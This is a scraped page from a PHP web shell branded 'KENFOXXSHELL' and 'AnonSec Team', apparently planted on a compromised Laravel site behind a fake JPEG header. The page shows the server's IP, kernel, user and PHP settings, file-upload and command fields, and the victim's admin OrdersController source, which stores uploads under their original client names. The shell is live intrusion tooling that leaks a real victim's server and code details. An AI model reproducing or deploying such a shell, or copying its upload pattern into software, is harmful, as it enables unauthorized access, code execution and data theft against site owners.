JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/domains/bellizeno.com/public_html/app/Http/Controllers/Admin/OrdersController.php
<?php 

namespace App\Http\Controllers\Admin;



use App\Http\Requests;

use App\Http\Controllers\Controller;

use App\Http\Requests\OrdersRequest;



use Illuminate\Http\Request;

use App\Orders;

use App\OrderDetail;

use Input, File,DB;

use Validator;



class OrdersController extends Controller {



	public function getDanhSach()

    {

        $data = Orders::all();

    	return view('admin.orders.list', compact('data'));

    }

    public function getAdd()

    {

        $parent = Orders::select('id','name','parent_id')->get()->toArray();

    	return view('admin.orders.add', compact('parent'));

    }

    public function postAdd(OrdersRequest $request)

    {

        $img = $request->file('fImages');

        $path_img='upload/product';

        $img_name='';

        if(!empty($img)){

            $img_name=time().'_'.$img->getClientOriginalName();

            $img->move($path_img,$img_name);

        }

    	$cate = new Orders;

        $cate->parent_id = $request->txtOrders;

        $cate->name = $request->txtName;

        $cate->alias = changeTitle($request->txtName);

        $cate->photo = $img_name;

        $cate->title = $request->txtTitle;

        $cate->keyword = $request->txtKeyword;

        $cate->description = $request->txtDescription;

        $cate->stt = $request->stt;



        if($request->status=='on'){

            $cate->status = 1;

        }else{

            $cate->status = 0;

        }

        $cate->save();

        return redirect()->route('admin.orders.index')->with('status','Thêm mới thành công !');

    }

    public function getEdit(Request $request)

    {

        $id= $request->get('id');

        //Tìm article thông qua mã id tương ứng

        $data = Orders::find($id);

        if(!empty($data)){

            $orders = DB::table('order_detail')->select()->where('id_order',$data->id)->orderBy('id', 'asc')->get();

            $tinhtrang = DB::table('order_status')->select()->orderBy('id', 'asc')->get();

           // Gọi view edit.blade.php hiển thị bải viết

            return view('admin.orders.edit',compact('data','orders','tinhtrang','id'));

        }else{

            return redirect('admin/orders/')->with('status','Dữ liệu không có thực');

        }

    }



    public function update(Request $request)

    {

        // $this->validate($request,

        //     ["txtName" => "required"],

        //     ["txtName.required" => "Bạn chưa nhập tên danh mục"]

        // );

        $id=$request->get('id');

        $orders = Orders::find($id);

        if(!empty($orders)){

            

            $orders->note = $request->txtNote;

            $orders->status = $request->status;



            $orders->save();



            return redirect('admin/orders/edit?id='.$id)->with('status','Cập nhật thành công');

        }else{

            return redirect('admin/orders/')->with('status','Dữ liệu không có thực');

        }

    }
     public function searchOrders(Request $request)
    {
        $search = $request->keyword;
        $ngaybatdau = $request->startDate;
        $ngayketthuc = $request->endDate;
        // $getngay = $request->daterange;
        // $arr_ngay=explode(' - ',$getngay);

        // $arr_ngaybatdau=str_replace("/", "-", $arr_ngay[0]);
        // $arr_ngayketthuc=str_replace("/", "-", $arr_ngay[1]);


        $kieuloc = $request->kieuloc;
        $active_menu=array('menuParent'=>'orders', 'menuChild'=>'orders');
        if($kieuloc==1){
            $data = Orders::select()->where('name','LIKE','%'.$search.'%')->Orwhere('code','LIKE','%'.$search.'%')->orderBy('created_at','desc')->get();
            
        }else if($kieuloc==2){
            if(!empty($ngaybatdau) && !empty($ngayketthuc)){
                $data = Orders::select()->whereBetween('created_at', [$ngaybatdau,$ngayketthuc])->orderBy('created_at','desc')->get();
            }else{
                $data = Orders::select()->where('name','LIKE','%'.$search.'%')->orderBy('created_at','desc')->get();
            }
            
        }else if($kieuloc==5){
            $data = Orders::select()->where('hinhthuc',1)->orderBy('created_at','desc')->get();
            
        }else if($kieuloc==4){
            $data = Orders::select()->where('hinhthuc',0)->orderBy('created_at','desc')->get();
            
        }
        else if($kieuloc==3){
            $data = Orders::select()->where('name','LIKE','%'.$search.'%')->orderBy('created_at','desc')->get();
        }
        return view('admin.orders.search',compact('data','active_menu'));
        
    }
    public function getDelete($id)

    {

        $product = Orders::findOrFail($id);

        $product->delete();

        return redirect()->route('admin.orders.index');

    }

    public function getDeleteList($id){

        $listid = explode(",",$id);

        foreach($listid as $listid_item){

            $product = Orders::findOrFail($listid_item);

            $product->delete();

            //File::delete('upload/product/'.$product->photo);

        }

        return redirect()->route('admin.orders.index');

    }

}


Anon7 - 2022
AnonSec Team